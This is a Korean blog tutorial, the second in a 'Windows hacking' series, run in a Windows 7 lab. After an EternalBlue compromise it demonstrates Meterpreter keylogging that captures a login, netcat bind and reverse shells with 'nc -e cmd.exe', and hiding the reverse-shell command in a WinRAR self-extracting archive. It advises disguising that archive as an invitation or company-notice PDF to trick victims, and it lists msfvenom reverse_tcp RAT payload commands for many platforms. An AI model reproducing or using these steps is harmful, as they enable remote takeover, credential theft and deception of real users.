보안전문가로 향하는 길
윈도우 해킹(2) - 키로깅, netcat(nc), 윈도우 쉘, RAT 본문
※모든 실습은 windows7 가상환경에서 실행되었습니다.
오늘은 저번시간에 이어서 윈도우 해킹을 이어나가겠습니다.
저번과 마찬가지로 이터널블루(Eternal Blue)를 이용해서 취약점을 공격하시면 되겠습니다.
https://tasteapple.tistory.com/26
윈도우 해킹(1) - 이터널블루(Eternal Blue) - SMB취약점
※모든 실습은 windows7 가상환경에서 실행되었습니다. 오늘은 이터널블루(Eternal Blue)에 대해서 알아보고 취약점을 공격해 보도록 하겠습니다. 이터널블루(Ethernal Blue)란 무언인가? 이터널블루는
tasteapple.tistory.com
먼저 shell을 가져오는 방법입니다.
쉘을 가져오는 방법은 정말 간단합니다. shell이라고 입력해 주면 아래와 같이 쉘 창이 실행됩니다.

쉘을 이용해서 john이라는 사용자의 문서폴더에
echo 명령어를 사용하여 'you will die'라는 new.txt파일을 만들어주었습니다.

파일이 정상적으로 만들어진 것을 알 수 있습니다.


rm 명령어를 이용해서 new.txt파일을 제거했습니다.


다음으로 알아볼 것은 키로깅입니다.
키로깅이란 사용자가 키보드로 컴퓨터에 입력하는 내용을 몰래 가로채어 기록하는 행위를 말합니다.
?를 입력하면 정말 많은 명령어들이 나옵니다.

ps라는 명령어를 입력하면 현재 실행 중인 프로세스들이 나옵니다.
이 많은 프로세스들 중에서 explorer.exe를 찾아야 합니다.
explorer.exe는 윈도우의 전체파일을 탐색할 수 있는 탐색기입니다.
explorer.exe파일은 윈도우가 실행중일 때 계속 돌아갑니다.


migrate explorer.exe의 PID를 실행 후 keyscan_start명령어를 실행해 주면
키로깅이 시작이 됩니다.

네이버 아이디에 hi를 비밀번호에 hello를 입력해 보았습니다.

keyscan_dump명령어를 사용하면 현재까지 현재까지 입력한 키보드를 알 수 있습니다.

keyscan_stop을 입력하면 키로깅이 중지됩니다.

이번에는 netcat(nc)를 사용해 보도록 하겠습니다.
최신버전의 ubuntu, android에서는 -e옵션이 없다
nc를 실행하기 위해서 윈도우에 nc.exe파일을 미리 넣어두었습니다.
nc.exe 파일은 윈도우에 없기 때문에 해당 컴퓨터에 nc를 사용하고 싶다면
어떻게 해서든 nc.exe파일을 다운로드해 놓아야 합니다.
(보기 편하라고 띄어쓰기를 많이 해 놓았습니다.)
서버는 연결이 들어오기를 기다리는 컴퓨터라고 생각하면 됩니다.
①정상연결
Victim설정: Windows 7 : Server
nc -l -p 8000 -e cmd.exe // -l : listening, -p : port
Attacker설정: Kali Linux: Client
nc 서버 컴퓨터의 IP 8000



②Reverse Connection
Attacker 설정: Kali Linux : Server
nc -l -p 8000
Victim 설정: Windows 7 : Client
nc 서버 컴퓨터의 IP 8000 -e cmd.exe

여기서 이런 의문점이 생기게 될 것입니다.
nc파일을 다운로드하게는 했는데 위의 명령어를 실행해야 하는데
상대방이 바보도 아니고 저걸 따라줄까?라는 생각을 하게 됩니다.
그래서 우리는 winrar을 사용합니다.
https://www.win-rar.com/download.html?&L=0
WinRAR Download Latest Version
WinRAR - the data compression, encryption and archiving tool for Windows that opens RAR and ZIP files. Compatible with many other file formats.
www.win-rar.com
winrar은 압축파일입니다.
winrar을 사용하는 이유는 압축을 풀기 위해 파일을 실행할 때 명령어를 끼어 넣을 수 있기 때문입니다.
winrar에서 nc.exe파일을 선택 후 추가버튼을 클릭합니다.
그런 다음 자동실행(SFX) 압출파일추가(X)에 체크표시를 해줍니다.

고급탭에서 자동실행 옵션을 클릭 > 프로그램 실행 클릭


아래 사진과 같이 명령어를 입력 후 확인을 눌러서 마치면 오른쪽 사진과 같이 나오게 됩니다.


해당파일을 실행하면 아래와 같은 화면이 나오게 됩니다.
여기서 설치를 누르면 두 번째 사진처럼 연결이 되게 됩니다.


위와 같은 상태 그대로 파일을 보내면 사람이 의심을 하기 때문에
아이콘을 변경해 주고 파일 이름을 변경해 줌으로 속이면 됩니다.
ex) 초대장.pdf .exe
전 사원 필수확인.pdf .exe
이번에는 RAT(Remote Access Trojan) 파일을 만들어서
윈도우에서 실행해 보도록 하겠습니다.
먼저 멀티핸들러를 설정해 줍니다.


그다음으로 RAT파일을 만들어 줍니다.
# 리눅스 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf
# 윈도우 msfvenom -p windows/x64(x86)/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
# 맥 msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho
# 리눅스 쉘코드 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f
# 윈도우 쉘코드 msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f
# 맥 쉘코드 msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f
# PHP msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php
# ASP msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp
# JSP msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp

그다음 아파치를 이용해서 인터넷에서 파일을 다운로드할 수 있게 만들어 줍니다.

윈도우에서 크로 주소창에 아래와 같이 칼리의 IP주소와 파일명을 입력해서 파일을 다운로드해 줍니다.


다운로드한 파일을 실행해 주면 아래와 같이 session을 얻을 수 있게 됩니다.

'Exploit' 카테고리의 다른 글
| 윈도우 해킹(1) - 이터널블루(Eternal Blue) - SMB취약점 (0) | 2023.08.16 |
|---|---|
| Metasploitable2 취약점 공격 - reverse 공격방식 (0) | 2023.08.13 |
| Metasploitable2 취약점 공격(metasploit framework) - 비밀번호를 획득해서 John the Ripper(존더리퍼)돌려보기 (0) | 2023.08.13 |
| nmap -- nmap에서 제공하는 스크립트로 취약점 분석 (0) | 2023.08.10 |
| Nmap -- 옵션(sP, sT, sS, O, sV, sF, sN, sX, A) (0) | 2023.08.08 |